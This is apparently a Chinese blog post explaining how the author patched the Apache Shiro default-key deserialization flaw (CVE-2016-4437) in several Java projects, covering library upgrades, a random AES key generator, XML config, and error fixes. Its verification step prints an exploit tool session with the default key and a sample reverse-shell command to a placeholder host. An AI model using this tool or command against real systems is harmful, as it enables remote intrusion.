Java项目中修复Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)详细说明

目录

1.漏洞说明

1.1阿里云漏洞短信内容

1.2阿里云漏洞详细报告

2.详细修复步骤

2.1下载漏洞验证工具

3.Java项目修改

3.1修改前注意事项

3.2Jar包准备

3.3增加一个自定义秘钥代码

3.4修改shiro配置

3.5修复后漏洞检测结果

4.常见问题

 4.1Unsupported major.minor version 52.0

4.2org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter报错

4.3 java.lang.NoClassDefFoundError: org/owasp/encoder/Encode


最近阿里云发了漏洞短信,需要在以后的老项目中修复漏洞,修复了6套Java项目,不同项目修复方式有所不同,特写此篇博客,以作备忘,欢迎大家留言讨论。

1.漏洞说明

1.1阿里云漏洞短信内容

1.2阿里云漏洞详细报告

2.详细修复步骤

2.1下载漏洞验证工具

漏洞验证工具:https://github.com/wyzxxz/shiro_rce,或者从http://www.zrscsoft.com/sitepic/12120.html中下载

下载的shiro_tool.jar文件,建设保存在D:\download目录,即

根据阿里云漏洞报告,

执行D:\work\jdk1.8.0\bin\java.exe -jar shiro_tool.jar http://{您的IP地址}命令,

具体如下:

D:\download>D:\work\jdk1.8.0\bin\java.exe -jar shiro_tool.jar http://{您的IP地址}
[-] target: http://{您的IP地址}
[-] target is use shiro
[-] start guess shiro key...
[-] use shiro key: kPH+bIxk5D2deZiIxcaaaA==
[-] check CommonsBeanutils1
[-] check CommonsCollections1
[-] check CommonsCollections2
[-] check CommonsCollections3
[-] check CommonsCollections4
[-] check CommonsCollections5
[-] check CommonsCollections6
[-] check CommonsCollections7
[-] check CommonsCollections8
[-] check CommonsCollections9
[-] check CommonsCollections10
[-] check Groovy1
[-] check JSON1
[-] check Spring1
[-] check Spring2
[-] check Jdk7u21
[-] check JRMPClient
[-] check ROME
[-] check Clojure
[*] find: CommonsCollections10 can be use
[*] find: JRMPClient can be use
0: CommonsCollections10
1: JRMPClient
[-] please enter the number(0-1)
> 0
[-] use gadget: CommonsCollections10
[*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1 , command example: curl dnslog.xxx.com
[*] if need base64 command, input should startwith bash=/powershell=/python=/perl=
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> quit
[-] quit

D:\download>

3.Java项目修改

3.1修改前注意事项

shiro需要升级到1.7.0

shiro1.7.0的spring相关jar要求在4.0版本以上

spring4.0以上版本要求jdk1.8.0以上

3.2Jar包准备

shiro1.7.0的jar如下:

shiro-core-1.7.0.jar

shiro-ehcache-1.7.0.jar

shiro-spring-1.7.0.jar

shiro-web-1.7.0.jar

spring相关jar要求在4.0版本以上,这里建设更新到spring-5.2.10.RELEASE版本,

spring-5.2.10.RELEASE版本相关的jar,请参考https://blog.youkuaiyun.com/jlq_diligence/article/details/109771710博客,自行下载

我这边需要的jar大致如下,不同的项目有所不同

3.3增加一个自定义秘钥代码

参考官方的:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

  1. import org.apache.shiro.codec.Base64;
  2. import org.apache.shiro.crypto.AbstractSymmetricCipherService;
  3. import org.aspectj.apache.bcel.generic.IINC;
  4. import javax.crypto.KeyGenerator;
  5. import javax.crypto.SecretKey;
  6. import java.security.Key;
  7. import java.security.NoSuchAlgorithmException;
  8. /**
  9. * shiro 秘钥生成器
  10. *
  11. * @author admin shiro有自己的随机生成秘钥的方法 秘钥生成器
  12. *
  13. *
  14. */
  15. public class MySymmetricCipherService extends AbstractSymmetricCipherService {
  16. protected MySymmetricCipherService(String algorithmName) {
  17. super(algorithmName);
  18. // TODO Auto-generated constructor stub
  19. }
  20. public static byte[] generateNewKeyFromSuper() {
  21. KeyGenerator kg;
  22. try {
  23. kg = KeyGenerator.getInstance("AES");
  24. } catch (NoSuchAlgorithmException var5) {
  25. String msg = "Unable to acquire AES algorithm. This is required to function.";
  26. throw new IllegalStateException(msg, var5);
  27. }
  28. kg.init(128);
  29. SecretKey key = kg.generateKey();
  30. byte[] encoded = key.getEncoded();
  31. return encoded;
  32. }
  33. /**
  34. * 使用shiro官方的生成
  35. * org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
  36. * @return
  37. */
  38. public static byte[] getCipherKey() {
  39. MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
  40. Key gKey = mySymmetricCipherService.generateNewKey();
  41. return gKey.getEncoded();
  42. }
  43. public static void main(String[] args) {
  44. MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
  45. Key gKey = mySymmetricCipherService.generateNewKey();
  46. System.out.println("key: " + gKey.getEncoded());
  47. System.out.println("key Base64.encodeToString: " + Base64.encodeToString(gKey.getEncoded()));
  48. byte[] decodeValue = org.apache.shiro.codec.Base64.decode("t0EWNQWKMXYzKTDSQpNNfg==");
  49. System.out.println("decodeValue: " + decodeValue);
  50. }
  51. }

3.4修改shiro配置

例如shiro配置文件为spring-shiro.xml,不同项目,文件名有所不同,修改的位置,大致如下

    <!-- 定义Shiro安全管理配置 -->
    <bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
        <property name="realm" ref="shiroDbRealm" />
        <property name="cacheManager" ref="cacheManager" />
        <!-- 加入rememberMe的配置管理 -->
        <property name="rememberMeManager" ref="rememberMeManager" />
    </bean>


    <!-- rememberMe管理器   -->
    <bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
        <property name="cipherKey" value="#{T(com.**.realm.MySymmetricCipherService).getCipherKey()}" />
        <property name="cookie" ref="rememberMeCookie" />
    </bean>

    <!-- remenberMe配置 -->
    <bean id="rememberMeCookie" class="org.apache.shiro.web.servlet.SimpleCookie">
        <constructor-arg value="rememberMe" />
        <property name="httpOnly" value="true" />
        <!-- 默认记住7天(单位:秒) -->
        <property name="maxAge" value="604800" />
    </bean>

3.5修复后漏洞检测结果

4.常见问题

 4.1Unsupported major.minor version 52.0

【现象】

java.lang.UnsupportedClassVersionError: org/apache/shiro/crypto/AbstractSymmetricCipherService : Unsupported major.minor version 52.0
    at java.lang.ClassLoader.defineClass1(Native Method)
    at java.lang.ClassLoader.defineClass(ClassLoader.java:800)
    at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
    at java.net.URLClassLoader.defineClass(URLClassLoader.java:449)
    at java.net.URLClassLoader.access$100(URLClassLoader.java:71)
    at java.net.URLClassLoader$1.run(URLClassLoader.java:361)
    at java.net.URLClassLoader$1.run(URLClassLoader.java:355)
    at java.security.AccessController.doPrivileged(Native Method)
    at java.net.URLClassLoader.findClass(URLClassLoader.java:354)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:425)
    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:358)

【解决方法】JDK更换为JDK1.8    

详细描述如下:

当改变了jdk版本时,在编译java时,会遇到Unsupported major.minor version错误。
jdk版本和stanford parser对应关系

JDK版本和Java编译器内部的版本号

J2SE 8 = 52,
J2SE 7 = 51,
J2SE 6.0 = 50,
J2SE 5.0 = 49,
JDK 1.4 = 48,
JDK 1.3 = 47,
JDK 1.2 = 46,
JDK 1.1 = 45

4.2org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter报错

【解决方法】

<bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter">
修改为:
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter">


4.3 java.lang.NoClassDefFoundError: org/owasp/encoder/Encode

【现象】

java.lang.NoClassDefFoundError: org/owasp/encoder/Encode
    org.apache.shiro.web.filter.PathMatchingFilter.pathsMatch(PathMatchingFilter.java:134)
    org.apache.shiro.web.filter.PathMatchingFilter.preHandle(PathMatchingFilter.java:186)
    org.apache.shiro.web.servlet.AdviceFilter.doFilterInternal(AdviceFilter.java:131)
    org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:125)
    org.apache.shiro.web.servlet.ProxiedFilterChain.doFilter(ProxiedFilterChain.java:66)
    org.apache.shiro.web.servlet.AbstractShiroFilter.executeChain(AbstractShiroFilter.java:4
【解决方法】
添加 encoder-1.2.2.jar

详细操作和文件,可以参考http://www.zrscsoft.com/sitepic/12120.html

### Pd-CMS Shiro 默认密钥远程命令执行漏洞分析 #### 漏洞概述 Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,用于身份认证、授权、加密和会话管理。然而,在某些情况下,开发人员可能会使用默认的 AES 密钥来保护 Shiro 的会话数据。如果攻击者能够获取此默认密钥,则可以通过伪造或篡改会话令牌实现任意代码执行。 对于 Pd-CMS 中存在的 Shiro 默认密钥问题,其根本原因在于未更改默认的 `rememberMe` 加密密钥 `aes:kPH+bIxk5D2deZiIxcaaaA==` 或其他硬编码密钥[^3]。这使得攻击者有机会通过反序列化漏洞注入恶意代码并获得目标系统的控制权限。 #### CVE 编号与影响版本 该类漏洞通常被标记为 **CVE-2016-4437**,主要涉及 Apache Shiro 版本低于 1.2.4 的应用程序。具体到 Pd-CMS 软件而言,任何依赖于旧版 Shiro 并保留原始配置的应用实例均可能受到影响。 #### 解决方案 为了防止因 Shiro 默认密钥引发的安全隐患,建议采取以下措施: 1. 更改默认密钥修改 Shiro 配置中的 `rememberMe` 加密密钥为强随机字符串,并将其存储在安全位置而非源码中。例如: ```properties shiro.rememberMe.cookie.name=rememberMe securityManager.rememberMeManager.cipherKey=base64:A_custom_strong_key_here== ``` 2. 更新至最新稳定版本: 升级所使用的 Shiro 库到至少 1.2.4 及以上版本,这些新版本已经改进了默认行为以减少风险。 3. 实施输入验证机制: 对所有外部提交的数据实施严格的校验逻辑,阻止非法参数进入业务流程。 4. 使用 WAF 或 IDS 工具监控异常流量模式: 借助 Web 应用防火墙 (WAF) 和入侵检测系统 (IDS),识别潜在威胁活动并及时响应处理。 5. 定期审查第三方组件状态: 关注官方公告以及社区反馈信息,确保第一时间修补已知缺陷。 ```bash # 示例:检查当前项目内的Shiro库版本 mvn dependency:tree | grep apache-shiro ``` 上述操作有助于显著降低遭受基于 Shiro 默认密钥攻击的可能性。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

微笑点燃希望

你的鼓励是我创作最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值